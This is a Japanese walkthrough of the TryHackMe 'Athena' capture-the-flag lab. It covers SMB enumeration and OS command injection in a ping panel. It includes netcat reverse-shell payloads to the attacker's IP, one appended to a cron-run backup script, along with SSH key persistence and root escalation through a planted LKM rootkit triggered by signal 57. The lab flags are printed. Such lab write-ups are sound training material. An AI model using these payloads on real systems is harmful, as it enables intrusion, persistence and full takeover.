概要
TryHackMe「Athena」のWalkthroughです。
Task1
Q1.What is the user flag?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.144.85 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3b:c8:f8:13:e0:cb:42:60:0d:f6:4c:dc:55:d8:3b:ed (RSA)
| 256 1f:42:e1:c3:a5:17:2a:38:69:3e:9b:73:6d:cd:56:33 (ECDSA)
|_ 256 7a:67:59:8d:37:c5:67:29:e8:53:e8:1e:df:b0:c7:1e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Athena - Gods of olympus
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2024-10-16T13:59:14
|_ start_date: N/A
|_clock-skew: -1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: ROUTERPANEL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.2p1 |
80 | http | Apache httpd 2.4.41 |
139 | smb | smbd 4.6.2 |
445 | smb | smbd 4.6.2 |
SMBの列挙をします。
$ enum4linux -a 10.10.144.85
=================================( Share Enumeration on 10.10.144.85 )=================================
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Sharename Type Comment
--------- ---- -------
public Disk
IPC$ IPC IPC Service (Samba 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 10.10.144.85 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.10.144.85
//10.10.144.85/public Mapping: OK Listing: OK Writing: N/A
共有名public
が見つかったのでアクセスするとmsg_for_administrator.txt
を発見しました。
ダウンロードします。
$ smbclient //10.10.144.85/public
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Apr 16 20:54:43 2023
.. D 0 Sun Apr 16 20:54:05 2023
msg_for_administrator.txt N 253 Sun Apr 16 14:59:44 2023
Dear Administrator,
I would like to inform you that a new Ping system is being developed and I left the corresponding application in a specific path, which can be accessed through the following address: /myrouterpanel
Yours sincerely,
Athena
Intern
/myrouterpanel
パスを発見しました。
80
ポートにアクセスします。
入力したアドレスにping
を送れるようになっています。
OSコマンドインジェクションが出来そうです。
ペイロードは下記リポジトリを使用しました。
ペイロード%0Acat%20%2fetc%2fpasswd
で/etc/passwd
ファイルが読み取れ、OSコマンドインジェクションが成功したと分かりました。
ip=%0A/usr/bin/nc+-c+/usr/bin/bash+<ip>+<port>&submit=
を送信してリバースシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.144.85] 56718
whoami
www-data
TTYの設定をします。
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@routerpanel:/var/www/html/myrouterpanel$
athena
アカウントへの権限昇格を目指します。
$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Apr 16 2023 .
drwxr-xr-x 20 root root 4096 Apr 16 2023 ..
drwx------ 17 athena athena 4096 Jul 31 2023 athena
drwx------ 15 ubuntu ubuntu 4096 May 23 2023 ubuntu
プロセスを確認すると/usr/share/backup/backup.sh
がathena
アカウントで実行されています。
$ ./pspy32
2024/10/17 08:14:00 CMD: UID=1001 PID=1229 | /bin/bash /usr/share/backup/backup.sh
#!/bin/bash
backup_dir_zip=~/backup
mkdir -p "$backup_dir_zip"
cp -r /home/athena/notes/* "$backup_dir_zip"
zip -r "$backup_dir_zip/notes_backup.zip" "$backup_dir_zip"
rm /home/athena/backup/*.txt
rm /home/athena/backup/*.sh
echo "Backup completed..."
www-data
で書き込み権限があります。
$ ls -la /usr/share/backup/backup.sh
-rwxr-xr-x 1 www-data athena 258 May 28 2023 /usr/share/backup/backup.sh
リバースシェルのペイロードを追記します。
$ echo "/usr/bin/nc -c /usr/bin/bash 10.6.55.144 12345" >> /usr/share/backup/backup.sh
$ cat backup.sh
cat backup.sh
#!/bin/bash
backup_dir_zip=~/backup
mkdir -p "$backup_dir_zip"
cp -r /home/athena/notes/* "$backup_dir_zip"
zip -r "$backup_dir_zip/notes_backup.zip" "$backup_dir_zip"
rm /home/athena/backup/*.txt
rm /home/athena/backup/*.sh
echo "Backup completed..."
/usr/bin/nc -c /usr/bin/bash 10.6.55.144 12345
athena
アカウントのシェルを取得できました。
$ nc -lvnp 12345
listening on [any] 12345 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.144.85] 59270
whoami
athena
TTYの設定をします。
python3 -c 'import pty; pty.spawn("/bin/bash")'
athena@routerpanel:/$
/home/athena/.ssh
に秘密鍵と公開鍵を発見しました。
athena@routerpanel:~$ ls -la .ssh/
ls -la .ssh/
total 16
drwx------ 2 athena athena 4096 Apr 17 2023 .
drwx------ 17 athena athena 4096 Jul 31 2023 ..
-rw-rw-r-- 1 athena athena 0 Apr 17 2023 authorized_keys
-rw------- 1 athena athena 2602 Apr 17 2023 id_rsa
-rw-r--r-- 1 athena athena 572 Apr 17 2023 id_rsa.pub
.ssh/authorized_keys
に公開鍵を追記します。
athena@routerpanel:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC58zqlfq1I8RHFyz1TAb+URJZioUvcBtuyKLWAP++luiRL1UT4+CElSEHCr5GyNOyIVGtTAu4os4TvK7PCCkrFmMygYoHvr+8X2khx+2HU6khgiTznM6uGakDuHhVCBf83aiRdcgk9Lh7TOsWi4drbqngFMzA/ecM7EvkkneygPnURBqb46T4jVubEBjahHbwBSPm1shC6/nAcJ9dmOsRIbf/VJy6aXkV/K87RzePz8Fqb485UjTM0G2jhq4KbcWM6xLQoEB6P2FrRnNh8ItDbmcK+G35n16Hr/KyT8BD0H4vbVQRzwTGYr6kJxUtSwO/VBE0QifEzkOaRkSLvRdBErRFqJ6yHeaDiG2SVsT0Q3rmpqc3Og8dHAEhEYokbeI/Ftl5yGvPVgZ4Bzpsve+4mvgk9wksBMMUiim0KqZe70N2oQwu1cBNGd7y+g9YI5N8JfcCW28Jks2rJ0i/3HjlYKVJGpuISwDSJwaYiGjF9551B+C1LvWdRUeaUpxm0h60= athena@routerpanel" >> .ssh/authorized_keys
<xm0h60= athena@routerpanel" >> .ssh/authorized_keys
秘密鍵でathena
アカウントにSSH接続できました。
$ ssh -i id_rsa athena@10.10.144.85
athena@routerpanel:~$
/home/athena/user.txt
からユーザーフラグを入手できました。
857c4a4fbac638afb6c7ee45eb3e1a28
A.857c4a4fbac638afb6c7ee45eb3e1a28
Q2.What is the root flag?
sudo -l
で確認します。
$ sudo -l
Matching Defaults entries for athena on routerpanel:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User athena may run the following commands on routerpanel:
(root) NOPASSWD: /usr/sbin/insmod /mnt/.../secret/venom.ko
insmod
コマンドでvenom.ko
モジュールファイルをロードしています。
venom.ko
ファイルの情報を確認します。
$ modinfo /mnt/.../secret/venom.ko
filename: /mnt/.../secret/venom.ko
description: LKM rootkit
author: m0nad
license: Dual BSD/GPL
srcversion: 93A81462832D4CF52F916D7
depends:
retpoline: Y
name: venom
vermagic: 5.15.0-69-generic SMP mod_unload modversions
m0nad
,LKM rootkit
という情報を得られたので検索すると下記リポジトリを発見しました。
任意のPIDにシグナル64を送信するとroot権限を取得できるようです。
ですが、実際にはroot権限を取得できませんでした。
$ sudo /usr/sbin/insmod /mnt/.../secret/venom.ko
$ sleep 10 &
[1] 1755
$ kill -64 1755
$ id
uid=1001(athena) gid=1001(athena) groups=1001(athena)
[1]+ Real-time signal 30 sleep 10
/mnt/.../secret/venom.ko
をGhidraで解析します。
hacked_kill
関数を見るとシグナル0x39(10進数で57)
が送信されるとgive_root()
が実行され、権限昇格できるように書き換えられています。
コマンドを実行するとroot権限に昇格できました。
$ kill -57 1846
$ id
uid=0(root) gid=0(root) groups=0(root),1001(athena)
/root/root.txt
からルートフラグを入手できます。
aecd4a3497cd2ec4bc71a2315030bd48
A.aecd4a3497cd2ec4bc71a2315030bd48